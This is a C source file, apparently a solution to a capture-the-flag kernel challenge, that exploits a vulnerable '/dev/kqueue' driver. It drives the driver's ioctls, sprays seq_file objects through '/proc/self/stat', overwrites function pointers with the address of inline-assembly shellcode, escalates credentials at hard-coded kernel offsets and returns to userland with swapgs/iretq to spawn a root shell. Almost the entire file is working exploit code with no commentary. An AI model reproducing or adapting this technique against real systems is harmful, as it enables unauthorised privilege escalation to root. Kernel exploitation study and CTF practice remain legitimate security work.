1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| #include "inc/common.h" #include "inc/snippet.h"
#include <sys/sem.h> #include <sys/ipc.h> #include <sys/shm.h> #include <semaphore.h> #include <sys/xattr.h> #include <asm/ldt.h> #include <sys/wait.h>
u64 kbase, kheap; i32 kqueue_fd = -1; i32 seqfds[32];
typedef struct{ u32 max_entries; u16 data_size; u16 entry_idx; u16 queue_idx; u8 *data; } request_t;
#define CREATE_KQUEUE 0xDEADC0DE #define EDIT_KQUEUE 0xDAADEEEE #define DELETE_KQUEUE 0xBADDCAFE #define SAVE_KQUEUE 0xB105BABE
void create(u16 data_size) {
request_t r = { .max_entries = 0xffffffff, .queue_idx = 0, .data_size = data_size, .data = NULL };
if(ioctl(kqueue_fd, CREATE_KQUEUE, &r) < 0) { panic("create"); } }
void save(u16 data_size) { request_t r = { .max_entries = 0xffffffff, .queue_idx = 0, .data_size = data_size, .data = NULL }; if(ioctl(kqueue_fd, SAVE_KQUEUE, &r) < 0) { panic("ioctl"); } }
void edit(u8 *buf, u16 data_size) { request_t r = { .max_entries = 0xffffffff, .queue_idx = 0, .entry_idx = 0, .data_size = data_size, .data = buf }; if(ioctl(kqueue_fd, EDIT_KQUEUE, &r) < 0) { panic("ioctl"); } }
u64 _ip = (u64)get_root_shell; void shellcode(void) { __asm__( ".intel_syntax noprefix;" "mov r12, [rsp + 8];" "sub r12, 0x174bf9;" "mov r13, r12;" "add r13, 0x174bf9;" "sub r13, 0x175039;" "xor rdi, rdi;" "call r12;" "mov rdi, rax;" "call r13;" "swapgs;" "mov r14, _ss;" "push r14;" "mov r14, _sp;" "push r14;" "mov r14, _rflags;" "push r14;" "mov r14, _cs;" "push r14;" "mov r14, _ip;" "push r14;" "iretq;" ".att_syntax;" ); }
#define QUE_SIZE (0x20 * 3) int main(int argc, char const *argv[]) { save_state();
kqueue_fd = open("/dev/kqueue", O_RDWR); if(kqueue_fd < 0) panic("open");
range(i, 32, { seqfds[i] = open("/proc/self/stat", O_RDONLY); if(seqfds[i] < 0) panic("seqfds[%d]", i); });
create(QUE_SIZE); u8 buf[QUE_SIZE]; for(u8 *p = buf; p < (buf + QUE_SIZE); p += 8) { *(u64 *)p = (u64)shellcode; }
act("shellcode at 0x%lx", (u64)shellcode);
edit(buf, QUE_SIZE);
close(seqfds[0]); close(seqfds[2]); close(seqfds[4]); close(seqfds[8]); close(seqfds[10]); save(0x40); range(i, 32, { read(seqfds[i], buf, 1); });
return 0; }
|